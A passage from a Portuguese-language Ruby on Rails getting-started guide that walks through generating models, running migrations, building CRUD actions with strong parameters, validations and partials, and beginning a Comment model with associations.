Para mais informações sobre roteamento, consulte Roteamento do Rails de Fora para Dentro.

5 MVC e Você

Até agora, discutimos rotas, controllers, actions e views. Todas essas são peças típicas de uma aplicação web que segue o padrão MVC (Model-View-Controller).

MVC é um padrão de projeto que divide as responsabilidades de uma aplicação para facilitar nosso entendimento. O Rails segue esse padrão de projeto por convenção.

Já que temos um controller e uma view para trabalhar, agora vamos gerar a próxima peça: o model.

5.1 Gerando um Model

Um Model é uma classe Ruby utilizada para representar dados. Além disso, os models podem interagir com o banco de dados da aplicação através de um recurso do Rails chamado Active Record.

Para definir um model, utilizaremos um gerador de models:

$ bin/rails generate model Article title:string body:text

bin/rails generate model Article title:string body:text Copiar

Os nomes dos models são no singular, pois um model instanciado representa um único registro de dados. Para ajudar a lembrar esta convenção, pense em como você chamaria o construtor do model: queremos escrever Article.new(...), não Articles.new(...).

O comando utilizando o gerador criará vários arquivos:

invoke  active_record
create    db/migrate/<timestamp>_create_articles.rb
create    app/models/article.rb
invoke    test_unit
create      test/models/article_test.rb
create      test/fixtures/articles.yml

invoke active_record create db/migrate/<timestamp>_create_articles.rb create app/models/article.rb invoke test_unit create test/models/article_test.rb create test/fixtures/articles.yml Copiar

Os dois arquivos em que vamos nos concentrar são o arquivo da migration (db/migrate/<timestamp>_create_articles.rb) e o arquivo do model (app/models/article.rb).

5.2 Migrações de Banco de Dados

As Migrations são utilizadas para alterar a estrutura do banco de dados de uma aplicação. Em aplicações Rails, as migrations são escritas em Ruby para que possam ser independentes do banco de dados.

Vamos dar uma olhada no conteúdo do nosso novo arquivo de migration:

class CreateArticles < ActiveRecord::Migration[6.0]
def change
create_table :articles do |t|
t.string :title
t.text :body

t.timestamps
end
end
end

class CreateArticles < ActiveRecord::Migration[6.0] def change create_table :articles do |t| t.string :title t.text :body t.timestamps end end end Copiar

A chamada para create_table especifica como a tabela articles deve ser construída. Por padrão, o método create_table adiciona uma coluna id como chave primária de auto incremento. Portanto, o primeiro registro na tabela terá um id de valor 1, o próximo registro terá um id de valor 2 e assim por diante.

Dentro do bloco de create_table, duas colunas são definidas: title e body. Elas foram adicionadas pelo gerador, pois incluímos a instrução no nosso comando (bin/rails generate model Article title:string body:text).

Na última linha do bloco há uma chamada para t.timestamps. Este método define duas colunas adicionais chamadas created_at e updated_at. Como veremos mais pra frente, o Rails gerenciará isso para nós, definindo os valores quando criamos ou atualizamos um objeto model.

Vamos executar a nossa migration com o seguinte comando:

$ bin/rails db:migrate

bin/rails db:migrate Copiar

O comando exibirá o resultado do processamento indicando que a tabela foi criada:

==  CreateArticles: migrating ===================================
-- create_table(:articles)
-> 0.0018s
==  CreateArticles: migrated (0.0018s) ==========================

== CreateArticles: migrating =================================== -- create_table(:articles) -> 0.0018s == CreateArticles: migrated (0.0018s) ========================== Copiar

Para saber mais sobre migrations, consulte Active Record Migrations.

Agora podemos interagir com a tabela utilizando o nosso model.

5.3 Utilizando um Model para Interagir com o Banco de Dados

Para brincar um pouco com o nosso model, vamos utilizar um recurso do Rails chamado console. O console é um ambiente de codificação interativo como o irb, mas que também carrega automaticamente o Rails e o código da nossa aplicação.

Vamos iniciar o console com o comando:

$ bin/rails console

bin/rails console Copiar

Você deve visualizar um prompt irb:

Loading development environment (Rails 6.0.2.1)
irb(main):001:0>

Copiar

Neste prompt, podemos inicializar um novo objeto Article:

irb> article = Article.new(title: "Hello Rails", body: "I am on Rails!")

article = Article.new(title: "Hello Rails", body: "I am on Rails!") Copiar

É importante notar que apenas inicializamos este objeto. O objeto não é salvo no banco de dados e no momento está disponível apenas no console. Para salvar o objeto no banco de dados, devemos chamar save:

irb> article.save
(0.1ms)  begin transaction
Article Create (0.4ms)  INSERT INTO "articles" ("title", "body", "created_at", "updated_at") VALUES (?, ?, ?, ?)  [["title", "Hello Rails"], ["body", "I am on Rails!"], ["created_at", "2020-01-18 23:47:30.734416"], ["updated_at", "2020-01-18 23:47:30.734416"]]
(0.9ms)  commit transaction
=> true

article.save Copiar

A saída acima mostra uma query INSERT INTO "articles" ... de banco de dados. Isso indica que o artigo foi inserido em nossa tabela. Se dermos uma olhada no objeto article novamente, vemos que algo interessante aconteceu:

irb> article
=> #<Article id: 1, title: "Hello Rails", body: "I am on Rails!", created_at: "2020-01-18 23:47:30", updated_at: "2020-01-18 23:47:30">

article Copiar

Os atributos id, created_at e updated_at agora estão definidos. O Rails fez isso por nós quando salvamos o objeto.

Quando quisermos buscar este artigo no banco de dados, podemos chamar find no model e passar o id como argumento:

irb> Article.find(1)
=> #<Article id: 1, title: "Hello Rails", body: "I am on Rails!", created_at: "2020-01-18 23:47:30", updated_at: "2020-01-18 23:47:30">

Article.find(1) Copiar

E quando quisermos obter todos os artigos do banco de dados, podemos chamar all no model:

irb> Article.all
=> #<ActiveRecord::Relation [#<Article id: 1, title: "Hello Rails", body: "I am on Rails!", created_at: "2020-01-18 23:47:30", updated_at: "2020-01-18 23:47:30">]>

Article.all Copiar

Esté método retorna um objeto ActiveRecord::Relation, que você pode considerar como um array superpotente.

Para saber mais sobre models, consulte o Básico do Active Record e Interface de Consulta do Active Record.

Os models são a peça final do quebra-cabeça MVC. A seguir, conectaremos todas as peças.

5.4 Exibindo uma Lista de Artigos

Vamos voltar ao nosso controller em app/controllers/articles_controller.rb e alterar a action index para buscar todos os artigos do banco de dados:

class ArticlesController < ApplicationController
def index
@articles = Article.all
end
end

class ArticlesController < ApplicationController def index @articles = Article.all end end Copiar

As variáveis de instância do controller podem ser acessadas pela view. Isso significa que podemos referenciar @articles em app/views/articles/index.html.erb. Vamos abrir esse arquivo e substituir seu conteúdo por:

<h1>Articles</h1>

<ul>
<% @articles.each do |article| %>
<li>
<%= article.title %>
</li>
<% end %>
</ul>

<h1>Articles</h1> <ul> <% @articles.each do |article| %> <li> <%= article.title %> </li> <% end %> </ul> Copiar

O código acima é uma mistura de HTML e ERB. ERB é um sistema de template que avalia código Ruby embarcado em um documento. Aqui, podemos ver dois tipos de tags ERB: <% %> e <%= %>. A tag <% %> significa "avaliar o código Ruby incluso". A tag <%= %> significa "avaliar o código Ruby incluso e retornar o valor de saída". Qualquer coisa que possa ser escrita em um programa normal em Ruby pode ir dentro dessas tags ERB, embora geralmente seja melhor manter o conteúdo das tags ERB de forma curta para facilitar a leitura.

Já que não queremos gerar o valor retornado por @articles.each, vamos colocar esse código em <% %>. Porém, uma vez que queremos exibir o valor retornado em article.title (para cada artigo), incluímos esse códido em <%= %>.

Nós podemos visualizar o resultado final visitando http://localhost:3000 (lembre-se de que bin/rails server deve estar em execução!). Aqui estão as etapas do que acontece quando fazemos isso:

1. O navegador faz uma requisição (request): GET http://localhost:3000.

2. Nossa aplicação Rails recebe essa requisição.

3. O roteador do Rails mapeia a rota raiz para a action index de ArticlesController.

4. A action indexutiliza o model Article para buscar todos os artigos no banco de dados.

5. O Rails renderiza automaticamente a view app/views/articles/index.html.erb.

6. O código ERB na view é avaliado para gerar código HTML.

7. O servidor envia uma resposta (response) de volta ao navegador contendo o HTML.

Conectamos todas as peças do MVC e temos nossa primeira action no controller! A seguir, passaremos para a segunda action.

6 Operações CRUD

Quase todas as aplicações web abrangem operações CRUD (Create, Read, Update e Delete), traduzidos como criação, consulta, atualização e destruição de dados. Você pode até descobrir que a maior parte do trabalho que a sua aplicação faz é o CRUD. O Rails reconhece isso e fornece muitos recursos para ajudar a simplificar o código na hora de fazer o CRUD.

Vamos começar a explorar esses recursos adicionando mais funcionalidades à nossa aplicação.

6.1 Exibindo um Único Artigo

Atualmente, temos uma view que lista todos os artigos em nosso banco de dados. Vamos adicionar uma nova view que exibe o título (title) e o corpo (body) de um único artigo.

Começamos adicionando uma nova rota que mapeia para uma nova action do controller (que adicionaremos a seguir). Abra o arquivo config/routes.rb e insira a última rota exibida aqui:

Rails.application.routes.draw do
root "articles#index"

get "/articles", to: "articles#index"
get "/articles/:id", to: "articles#show"
end

Rails.application.routes.draw do root "articles#index" get "/articles", to: "articles#index" get "/articles/:id", to: "articles#show" end Copiar

A nova rota é outra rota do tipo get, mas tem algo extra no seu caminho (path): :id. Isso denomina um parâmetro de rota. Um parâmetro de rota captura um pedaço do caminho da requisição e coloca esse valor no Hash params, que pode ser acessado pela action do controller. Por exemplo, ao lidar com uma requisição como GET http://localhost:3000/articles/1, 1 seria capturado como o valor para id, que seria então acessível em params[:id] na action show de ArticlesController.

Vamos adicionar a action show agora, abaixo da action index em app/controllers/articles_controller.rb:

class ArticlesController < ApplicationController
def index
@articles = Article.all
end

def show
@article = Article.find(params[:id])
end
end

class ArticlesController < ApplicationController def index @articles = Article.all end def show @article = Article.find(params[:id]) end end Copiar

A action show chama Article.find (mencionado anteriormente) com o ID capturado pelo parâmetro de rota. O artigo retornado é armazenado na variável de instância @article, portanto, pode ser acessado pela view. Por padrão, a action show vai renderizar app/views/articles/show.html.erb.

Vamos criar app/views/articles/show.html.erb, com o seguinte conteúdo:

<h1><%= @article.title %></h1>

<p><%= @article.body %></p>

<h1><%= @article.title %></h1> <p><%= @article.body %></p> Copiar

Agora podemos ver o artigo quando visitarmos http://localhost:3000/articles/1!

Para finalizar, vamos adicionar uma maneira mais prática para chegar à página de um artigo. Iremos vincular o título de cada artigo em app/views/articles/index.html.erb para sua página:

<h1>Articles</h1>

<ul>
<% @articles.each do |article| %>
<li>
<a href="/articles/<%= article.id %>">
<%= article.title %>
</a>
</li>
<% end %>
</ul>

<h1>Articles</h1> <ul> <% @articles.each do |article| %> <li> <a href="/articles/<%= article.id %>"> <%= article.title %> </a> </li> <% end %> </ul> Copiar

6.2 Roteamento de Resources (recursos)

Até agora, nós vimos o "R" (Read, consulta) do CRUD. Iremos eventualmente cobrir o "C" (Create, criação), "U" (Update, atualização) e o "D" (Delete, destruição). Como você deve ter imaginado, faremos isso adicionando novas rotas, actions no controller e views que funcionam em conjunto para realizar as operações CRUD em uma entidade. Chamamos essa entidade de resource (recurso). Por exemplo, em nossa aplicação, diríamos que um artigo é um recurso.

O Rails fornece um método de rotas chamado resources que mapeia todas as rotas convencionais para uma coleção de recursos, como artigos. Portanto, antes de prosseguir para as seções "C", "U" e "D", vamos substituir as duas rotas get em config/routes.rb por resources:

Rails.application.routes.draw do
root "articles#index"

resources :articles
end

Rails.application.routes.draw do root "articles#index" resources :articles end Copiar

Nós podemos inspecionar quais rotas estão mapeadas executando o comando bin/rails routes:

$ bin/rails routes
Prefix Verb   URI Pattern                  Controller#Action
root GET    /                            articles#index
articles GET    /articles(.:format)          articles#index
new_article GET    /articles/new(.:format)      articles#new
article GET    /articles/:id(.:format)      articles#show
POST   /articles(.:format)          articles#create
edit_article GET    /articles/:id/edit(.:format) articles#edit
PATCH  /articles/:id(.:format)      articles#update
DELETE /articles/:id(.:format)      articles#destroy

bin/rails routes Copiar

O método resources também configura URL e métodos auxiliares (helper) de caminhos que podemos utilizar para evitar que nosso código dependa de uma configuração de rota específica. Os valores na coluna "Prefix" acima, mais um sufixo _url ou _path formam os nomes desses helpers. Por exemplo, o helper article_path retorna "/articles/#{article.id}" quando recebe um artigo. Podemos utilizá-lo para organizar nossos links em app/views/articles/index.html.erb:

<h1>Articles</h1>

<ul>
<% @articles.each do |article| %>
<li>
<a href="<%= article_path(article) %>">
<%= article.title %>
</a>
</li>
<% end %>
</ul>

<h1>Articles</h1> <ul> <% @articles.each do |article| %> <li> <a href="<%= article_path(article) %>"> <%= article.title %> </a> </li> <% end %> </ul> Copiar

No entanto, daremos um passo adiante utilizando o helper link_to. O helper link_to renderiza um link com seu primeiro argumento como o texto do link e seu segundo argumento como o destino do link. Se passarmos um objeto model como segundo argumento, o link_to chamará o helper de caminho apropriado para converter o objeto em um caminho. Por exemplo, se passarmos um artigo, o link_to chamará o article_path. Portanto, app/views/articles/index.html.erb se torna:

<h1>Articles</h1>

<ul>
<% @articles.each do |article| %>
<li>
<%= link_to article.title, article %>
</li>
<% end %>
</ul>

<h1>Articles</h1> <ul> <% @articles.each do |article| %> <li> <%= link_to article.title, article %> </li> <% end %> </ul> Copiar

Muito bom!

Para aprender mais sobre roteamento, consulte Rotas do Rails de Fora pra Dentro.

6.3 Criando um Novo Artigo

Agora, seguimos para o "C" (Create, criação) do CRUD. Normalmente, em aplicações web, a criação de um novo recurso é um processo de várias etapas. Primeiro, o usuário solicita um formulário para preencher. Em seguida, o usuário envia o formulário. Se não houver erros, o recurso será criado e algum tipo de confirmação será exibido. Caso contrário, o formulário é exibido novamente com mensagens de erros e o processo é repetido.

Em uma aplicação Rails, esses passos não convencionalmente tratados pelas actions new e create do controller. Vamos implementar essas actions em app/controllers/articles_controller.rb, abaixo da action show:

class ArticlesController < ApplicationController
def index
@articles = Article.all
end

def show
@article = Article.find(params[:id])
end

def new
@article = Article.new
end

def create
@article = Article.new(title: "...", body: "...")

if @article.save
redirect_to @article
else
render :new
end
end
end

class ArticlesController < ApplicationController def index @articles = Article.all end def show @article = Article.find(params[:id]) end def new @article = Article.new end def create @article = Article.new(title: "...", body: "...") if @article.save redirect_to @article else render :new end end end Copiar

A action new instancia um novo artigo, mas não o salva no banco de dados. Este artigo será utilizado na view ao construirmos o formulário. Por padrão, a action new renderizará app/views/articles/new.html.erb, que criaremos a seguir.

A action create instancia um novo artigo com os valores para o título e corpo e tenta salvá-lo no banco de dados. Se o artigo for salvo com sucesso, a action redireciona o navegador para a página do artigo em "http://localhost:3000/articles/#{@article.id}". Caso contrário, a action exibe novamente o formulário renderizando a view app/views/articles/new.html.erb. O título e o corpo aqui são valores fictícios. Depois de criarmos o formulário, vamos voltar no controller e alterá-los.

redirect_to fará com que o navegador faça uma nova requisição, enquanto render renderiza a view especificada para a requisição atual. É importante utilizar o redirect_to após alterar o banco de dados ou o estado da aplicação. Caso contrário, se o usuário atualizar a página, o navegador fará a mesma requisição e a mutação será repetida.

6.3.1 Utilizando um Construtor de Formulário (Form Builder)

Utilizaremos uma funcionalidade do Rails chamada form builder (construtor de formulário) para criar nosso formulário. Utilizando um construtor de formulário, podemos escrever uma quantidade mínima de código para gerar um formulário que está totalmente configurado e segue as convenções do Rails.

Vamor criar a view app/views/articles/new.html.erb com o seguinte conteúdo:

<h1>New Article</h1>

<%= form_with model: @article do |form| %>
<div>
<%= form.label :title %><br>
<%= form.text_field :title %>
</div>

<div>
<%= form.label :body %><br>
<%= form.text_area :body %>
</div>

<div>
<%= form.submit %>
</div>
<% end %>

<h1>New Article</h1> <%= form_with model: @article do |form| %> <div> <%= form.label :title %><br> <%= form.text_field :title %> </div> <div> <%= form.label :body %><br> <%= form.text_area :body %> </div> <div> <%= form.submit %> </div> <% end %> Copiar

O método auxiliar form_with instancia um construtor de formulário. No bloco form_with chamamos métodos como label e text_field no construtor para gerar os elementos apropriados de um formulário.

O resultado de saída da nossa chamada form_with será parecido com:

<form action="/articles" accept-charset="UTF-8" method="post">
<input type="hidden" name="authenticity_token" value="...">

<div>
<label for="article_title">Title</label><br>
<input type="text" name="article[title]" id="article_title">
</div>

<div>
<label for="article_body">Body</label><br>
<textarea name="article[body]" id="article_body"></textarea>
</div>

<div>
<input type="submit" name="commit" value="Create Article" data-disable-with="Create Article">
</div>
</form>

<form action="/articles" accept-charset="UTF-8" method="post"> <input type="hidden" name="authenticity_token" value="..."> <div> <label for="article_title">Title</label><br> <input type="text" name="article[title]" id="article_title"> </div> <div> <label for="article_body">Body</label><br> <textarea name="article[body]" id="article_body"></textarea> </div> <div> <input type="submit" name="commit" value="Create Article" data-disable-with="Create Article"> </div> </form> Copiar

Para saber mais sobre os construtores de formulários, consulte Action View Form Helpers.

6.3.2 Utilizando Strong Parameters (Parâmetros Fortes)

Os dados do formulário enviados são colocados no Hash params, junto com os parâmetros de rota capturados. Assim, a action create pode acessar o título enviado via params[:article][:title] e o corpo enviado via params[:article][:body]. Poderíamos passar esses valores individualmente para Article.new, mas isso seria longo demais e possivelmente sujeito a erros. E ficaria pior a medida que adicionamos mais campos.

Em vez disso, passaremos um único Hash que contém os valores. No entanto, ainda devemos especificar quais valores são permitidos nesse Hash, caso contrário, um usuário mal intencionado pode enviar campos extras no formulário e sobrescrever dados privados. Na verdade, se passarmos o Hash params[:article] não filtrado diretamente para Article.new, o Rails lançará um ForbiddenAttributesError para nos alertar sobre o problema. Portanto, utilizaremos um recurso do Rails chamado Strong Parameters (Parâmetros Fortes) para filtrar params. Pense nisso como tipagem forte para params.

Vamos adicionar um método privado na parte inferior de app/controllers/articles_controller.rb chamado article_params que filtra o params. E vamos alterar o método create para utilizá-lo:

class ArticlesController < ApplicationController
def index
@articles = Article.all
end

def show
@article = Article.find(params[:id])
end

def new
@article = Article.new
end

def create
@article = Article.new(article_params)

if @article.save
redirect_to @article
else
render :new
end
end

private
def article_params
params.require(:article).permit(:title, :body)
end
end

class ArticlesController < ApplicationController def index @articles = Article.all end def show @article = Article.find(params[:id]) end def new @article = Article.new end def create @article = Article.new(article_params) if @article.save redirect_to @article else render :new end end private def article_params params.require(:article).permit(:title, :body) end end Copiar

Para saber mais sobre Strong Parameters, consulte Action Controller Overview § Parâmetros Fortes.

6.3.3 Validações e Exibição de Mensagens de Erros

Como vimos, a criação de um recurso é um processo de várias etapas. Lidar com a entrada inválida do usuário é outra etapa desse processo. O Rails fornece um recurso chamado validações para nos ajudar a lidar com entradas inválidas do usuário. As validações são regras que são verificadas antes de um objeto model ser salvo. Se alguma das validações falhar, o objeto não será salvo e as mensagens de erros apropriadas serão adicionadas ao atributo errors do objeto model.

Vamos adicionar algumas validações ao nosso model em app/models/article.rb:

class Article < ApplicationRecord
validates :title, presence: true
validates :body, presence: true, length: { minimum: 10 }
end

class Article < ApplicationRecord validates :title, presence: true validates :body, presence: true, length: { minimum: 10 } end Copiar

A primeira validação declara que um valor title deve estar presente. Como title é uma string, isso significa que o valor title deve conter pelo menos um caractere diferente de espaço em branco.

A segunda validação declara que um valor body também deve estar presente. Além disso, declara que o valor body deve ter pelo menos 10 caracteres.

Você pode estar se perguntando onde os atributos title e body são definidos. O Active Record define automaticamente os atributos do model para cada coluna da tabela, então você não precisa declarar esses atributos em seu arquivo model.

Com nossas validações no lugar, vamos modificar app/views/articles/new.html.erb para exibir quaisquer mensagens de erro para title e body:

<h1>New Article</h1>

<%= form_with model: @article do |form| %>
<div>
<%= form.label :title %><br>
<%= form.text_field :title %>
<% @article.errors.full_messages_for(:title).each do |message| %>
<div><%= message %></div>
<% end %>
</div>

<div>
<%= form.label :body %><br>
<%= form.text_area :body %><br>
<% @article.errors.full_messages_for(:body).each do |message| %>
<div><%= message %></div>
<% end %>
</div>

<div>
<%= form.submit %>
</div>
<% end %>

<h1>New Article</h1> <%= form_with model: @article do |form| %> <div> <%= form.label :title %><br> <%= form.text_field :title %> <% @article.errors.full_messages_for(:title).each do |message| %> <div><%= message %></div> <% end %> </div> <div> <%= form.label :body %><br> <%= form.text_area :body %><br> <% @article.errors.full_messages_for(:body).each do |message| %> <div><%= message %></div> <% end %> </div> <div> <%= form.submit %> </div> <% end %> Copiar

O método full_messages_for retorna um array de mensagens de erro amigáveis para um atributo especificado. Se não houver erros para esse atributo, o array ficará vazio.

Para entender como tudo isso funciona junto, vamos dar uma olhada nas actions de new e create do controller:

def new
@article = Article.new
end

def create
@article = Article.new(article_params)

if @article.save
redirect_to @article
else
render :new
end
end

def new @article = Article.new end def create @article = Article.new(article_params) if @article.save redirect_to @article else render :new end end Copiar

Quando visitamos http://localhost:3000/articles/new, a solicitação GET /articles/new é mapeada para a action new. A action new não tenta salvar o @article. Portanto, as validações não são verificadas e não haverá mensagens de erro.

Quando enviamos o formulário, a solicitação POST /articles é mapeada para a action create. A action create tenta salvar o @article. Portanto, as validações são verificadas. Se alguma validação falhar, o @article não será salvo e a view app/views/articles/new.html.erb será renderizada com as mensagens de erro.

Para saber mais sobre validações, consulte Validações do Active Record. Para saber mais sobre as mensagens de erro de validação, consulte Validações do Active Record § Trabalhando com Erros de Validação.

6.3.4 Finalizando

Agora podemos criar um artigo visitando http://localhost:3000/articles/new. Para finalizar, vamos criar um link para essa página na parte inferior da view app/views/articles/index.html.erb:

<h1>Articles</h1>

<ul>
<% @articles.each do |article| %>
<li>
<%= link_to article.title, article %>
</li>
<% end %>
</ul>

<%= link_to "New Article", new_article_path %>

<h1>Articles</h1> <ul> <% @articles.each do |article| %> <li> <%= link_to article.title, article %> </li> <% end %> </ul> <%= link_to "New Article", new_article_path %> Copiar

6.4 Atualizando um Artigo

Nós cobrimos o "CR" do CRUD. Agora, vamos passar para o "U" (Update, atualização). Atualizar um recurso é muito semelhante a criar um recurso. Ambos são processos de várias etapas. Primeiro, o usuário solicita um formulário para editar os dados. Se não houver erros, o recurso será atualizado. Caso contrário, o formulário é exibido novamente com mensagens de erro e o processo é repetido.

Essas etapas são convencionalmente tratadas pelas actions edit e update de um controller. Vamos adicionar uma implementação típica dessas actions em app/controllers/articles_controller.rb, abaixo da action create:

class ArticlesController < ApplicationController
def index
@articles = Article.all
end

def show
@article = Article.find(params[:id])
end

def new
@article = Article.new
end

def create
@article = Article.new(article_params)

if @article.save
redirect_to @article
else
render :new
end
end

def edit
@article = Article.find(params[:id])
end

def update
@article = Article.find(params[:id])

if @article.update(article_params)
redirect_to @article
else
render :edit
end
end

private
def article_params
params.require(:article).permit(:title, :body)
end
end

class ArticlesController < ApplicationController def index @articles = Article.all end def show @article = Article.find(params[:id]) end def new @article = Article.new end def create @article = Article.new(article_params) if @article.save redirect_to @article else render :new end end def edit @article = Article.find(params[:id]) end def update @article = Article.find(params[:id]) if @article.update(article_params) redirect_to @article else render :edit end end private def article_params params.require(:article).permit(:title, :body) end end Copiar

Observe como as actions edit e update se assemelham às actions new e create.

A action edit busca o artigo do banco de dados e o armazena em @article para que possa ser utilizado ao construir o formulário. Por padrão, a action edit renderizará app/views/articles/edit.html.erb.

A action update busca novamente o artigo do banco de dados e tenta atualizá-lo com os dados filtrados do formulário enviado por article_params. Se nenhuma validação falhar e a atualização for bem-sucedida, a action redireciona o navegador para a página do artigo. Caso contrário, a action exibe novamente o formulário com mensagens de erro, renderizando app/views/articles/edit.html.erb.

6.4.1 Utilizando Partials para Compartilhar Código de View

Nosso formulário edit terá a mesma aparência que o nosso formulário new. Até o código será o mesmo, graças ao construtor de formulários do Rails e ao roteamento de recursos. O construtor de formulários configura automaticamente o formulário para fazer o tipo apropriado de requisição, baseando-se sobre se o objeto do model foi salvo anteriormente.

Como o código será o mesmo, vamos separá-lo em uma view compartilhada chamada partial. Vamos criar a view app/views/articles/_form.html.erb com o seguinte conteúdo:

<%= form_with model: article do |form| %>
<div>
<%= form.label :title %><br>
<%= form.text_field :title %>
<% article.errors.full_messages_for(:title).each do |message| %>
<div><%= message %></div>
<% end %>
</div>

<div>
<%= form.label :body %><br>
<%= form.text_area :body %><br>
<% article.errors.full_messages_for(:body).each do |message| %>
<div><%= message %></div>
<% end %>
</div>

<div>
<%= form.submit %>
</div>
<% end %>

<%= form_with model: article do |form| %> <div> <%= form.label :title %><br> <%= form.text_field :title %> <% article.errors.full_messages_for(:title).each do |message| %> <div><%= message %></div> <% end %> </div> <div> <%= form.label :body %><br> <%= form.text_area :body %><br> <% article.errors.full_messages_for(:body).each do |message| %> <div><%= message %></div> <% end %> </div> <div> <%= form.submit %> </div> <% end %> Copiar

O código acima é igual ao nosso formulário em app/views/articles/new.html.erb, exceto que todas as ocorrências de @article foram substituídas por article. Como partials são códigos compartilhados, a melhor prática é que elas não dependam de variáveis de instância específicas definidas por uma action do controller. Em vez disso, passaremos o artigo para a partial como uma variável local.

Vamos atualizar app/views/articles/new.html.erb para utilizar a partial via render:

<h1>New Article</h1>

<%= render "form", article: @article %>

<h1>New Article</h1> <%= render "form", article: @article %> Copiar

O nome do arquivo da partial deve ser prefixado com um sublinhado, por exemplo, _form.html.erb. Mas ao renderizar, ela é referenciada sem o sublinhado, por exemplo, render form.

E agora vamos criar uma view app/views/articles/edit.html.erb muito semelhante:

<h1>Edit Article</h1>

<%= render "form", article: @article %>

<h1>Edit Article</h1> <%= render "form", article: @article %> Copiar

Para saber mais sobre partials, consulte Layouts e Renderização no Rails § Usando Partials.

6.4.2 Finalizando

Agora podemos atualizar um artigo visitando sua página de edição, por exemplo, http://localhost:3000/articles/1/edit. Para finalizar, vamos criar um link para a página de edição na parte inferior de app/views/articles/show.html.erb:

<h1><%= @article.title %></h1>

<p><%= @article.body %></p>

<ul>
<li><%= link_to "Edit", edit_article_path(@article) %></li>
</ul>

<h1><%= @article.title %></h1> <p><%= @article.body %></p> <ul> <li><%= link_to "Edit", edit_article_path(@article) %></li> </ul> Copiar

6.5 Deletando um Artigo

Finalmente chegamos do "D" (Delete , destruição) do CRUD. Deletar um recurso é um processo mais simples do que criar ou atualizar. Requer apenas uma rota e uma action do controller. E nosso roteamento de recursos (resources :articles) já fornece a rota que mapeia as requisições DELETE /articles/:id para a action destroy de ArticlesController.

Então, vamos adicionar uma típica action destroy em app/controllers/articles_controller.rb, abaixo da action update:

class ArticlesController < ApplicationController
def index
@articles = Article.all
end

def show
@article = Article.find(params[:id])
end

def new
@article = Article.new
end

def create
@article = Article.new(article_params)

if @article.save
redirect_to @article
else
render :new
end
end

def edit
@article = Article.find(params[:id])
end

def update
@article = Article.find(params[:id])

if @article.update(article_params)
redirect_to @article
else
render :edit
end
end

def destroy
@article = Article.find(params[:id])
@article.destroy

redirect_to root_path
end

private
def article_params
params.require(:article).permit(:title, :body)
end
end

class ArticlesController < ApplicationController def index @articles = Article.all end def show @article = Article.find(params[:id]) end def new @article = Article.new end def create @article = Article.new(article_params) if @article.save redirect_to @article else render :new end end def edit @article = Article.find(params[:id]) end def update @article = Article.find(params[:id]) if @article.update(article_params) redirect_to @article else render :edit end end def destroy @article = Article.find(params[:id]) @article.destroy redirect_to root_path end private def article_params params.require(:article).permit(:title, :body) end end Copiar

A action destroy busca o artigo do banco de dados e chama o método destroy do artigo. Em seguida, redireciona o navegador para o caminho raiz (root path).

Nós optamos por redirecionar para o caminho raiz porque esse é o nosso principal ponto de acesso para os artigos. Mas, em outras circunstâncias, você pode optar por redirecionar para, por exemplo, articles_path

Agora vamos adicionar um link na parte inferior de app/views/articles/show.html.erb para que possamos deletar um artigo de sua própria página:

<h1><%= @article.title %></h1>

<p><%= @article.body %></p>

<ul>
<li><%= link_to "Edit", edit_article_path(@article) %></li>
<li><%= link_to "Destroy", article_path(@article),
method: :delete,
data: { confirm: "Are you sure?" } %></li>
</ul>

<h1><%= @article.title %></h1> <p><%= @article.body %></p> <ul> <li><%= link_to "Edit", edit_article_path(@article) %></li> <li><%= link_to "Destroy", article_path(@article), method: :delete, data: { confirm: "Are you sure?" } %></li> </ul> Copiar

Nó código acima, estamos passando algumas opções adicionais para o link_to. A opção method: :delete faz com que o link faça uma requisição DELETE em vez de uma requisição GET. A opção data: { confirm: "Are you sure?" } faz com que uma caixa de diálogo de confirmação apareça quando o link é clicado. Se o usuário cancelar a caixa de diálogo, a requisição será abortada. Ambas as opções são alimentadas por um recurso do Rails chamado JavaScript Discreto (UJS). O arquivo JavaScript que implementa esses comportamentos é incluído por padrão em novas aplicações Rails.

Para saber mais sobre Javascript Discreto (unobtrusive), consulte Trabalhando com JavaScript no Rails.

E é isso! Agora podemos listar, exibir, criar, atualizar e deletar artigos! Incrível!

7 Adicionando um Segundo Model

É hora de adicionar um segundo model à aplicação. O segundo model vai lidar com comentários em artigos.

7.1 Gerando um Model

Nós veremos o mesmo generator que usamos antes quando criamos o model Article (artigo, inglês). Desta vez vamos criar um model Comment (comentário) que contém a referência para um artigo. Rode esse comando no seu terminal:

$ bin/rails generate model Comment commenter:string body:text article:references

bin/rails generate model Comment commenter:string body:text article:references Copiar

Este comando vai gerar quatro arquivos:

Arquivo

Propósito

db/migrate/20140120201010_create_comments.rb

Migration para criar a tabela de comentários no seu banco de dados (o nome incluirá um timestamp diferente)

app/models/comment.rb

O model Comment

test/models/comment_test.rb

Aparelhagem de testes para o model de comentário

test/fixtures/comments.yml

Exemplo de comentários para uso em testes

Primeiro, veja o arquivo app/models/comment.rb:

class Comment < ApplicationRecord
belongs_to :article
end

class Comment < ApplicationRecord belongs_to :article end Copiar

Isso é muito semelhante ao model Article que vimos antes. A diferença está na linha belongs_to : article, o que configura uma associação no Active Record. Você vai aprender um pouco sobre associações na próxima seção deste guia.

A palavra-chave (:references) usada no comando bash é um tipo especial de dado para models. Ela cria uma nova coluna na tabela do banco de dados com o nome fornecido ao model anexada a um _id que contém um valor do tipo integer. Para compreender melhor, analise o arquivo db/schema.rb depois de rodar a migration.

Além do model, o Rails também gerou a migration para criar a tabela correspondente no banco de dados:

class CreateComments < ActiveRecord::Migration[6.0]
def change
create_table :comments do |t|
t.string :commenter
t.text :body
t.references :article, null: false, foreign_key: true

t.timestamps
end
end
end

class CreateComments < ActiveRecord::Migration[6.0] def change create_table :comments do |t| t.string :commenter t.text :body t.references :article, null: false, foreign_key: true t.timestamps end end end Copiar

A linha t.references cria uma coluna com valores do tipo integer chamada article_id, um índice para ela e uma restrição de chave estrangeira (foreign key) que aponta para a coluna id da tabela articles. Vá em frente e rode a migration:

$ bin/rails db:migrate

bin/rails db:migrate Copiar

O Rails é inteligente o suficiente para executar somente as migrações que ainda não foram rodadas no banco de dados atual, assim neste caso você verá:

==  CreateComments: migrating =================================================
-- create_table(:comments)
-> 0.0115s
==  CreateComments: migrated (0.0119s) ========================================

== CreateComments: migrating ================================================= -- create_table(:comments) -> 0.0115s == CreateComments: migrated (0.0119s) ======================================== Copiar

7.2 Associando Models

Associações do Active Record permitem declarar facilmente a relação entre dois models. No caso de comentários e artigos, você poderia descrever a relação da seguinte maneira:

- Cada comentário pertece a um artigo.

- Um artigo pode possuir muitos comentários.

